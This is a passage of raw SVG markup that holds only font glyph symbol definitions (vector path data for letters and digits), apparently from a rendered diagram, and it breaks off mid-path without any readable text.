xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 512"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="s"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="B"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M0 2.516h6.016v1.171H0zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="m5.875-9 1.594 5.25.328 1.734h.031l.266-1.765L9.328-9h1.219L8.157.203h-.735L5.594-5.703l-.25-1.516h-.032l-.25 1.532L3.298.202h-.735L.095-9h1.375l1.39 5.234.22 1.75h.03l.329-1.78L4.905-9zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M7.219 0H1.156v-12.594H2.5v11.36h4.719zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M1.688-1.203h2.03V-9.97l.173-1.062-.61.86-1.515 1.218-.688-.797 3.281-3.063h.657v11.61h1.968V0H1.688zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M5.672 0v-5.469c0-.843-.102-1.484-.297-1.922-.2-.437-.594-.656-1.188-.656-.417 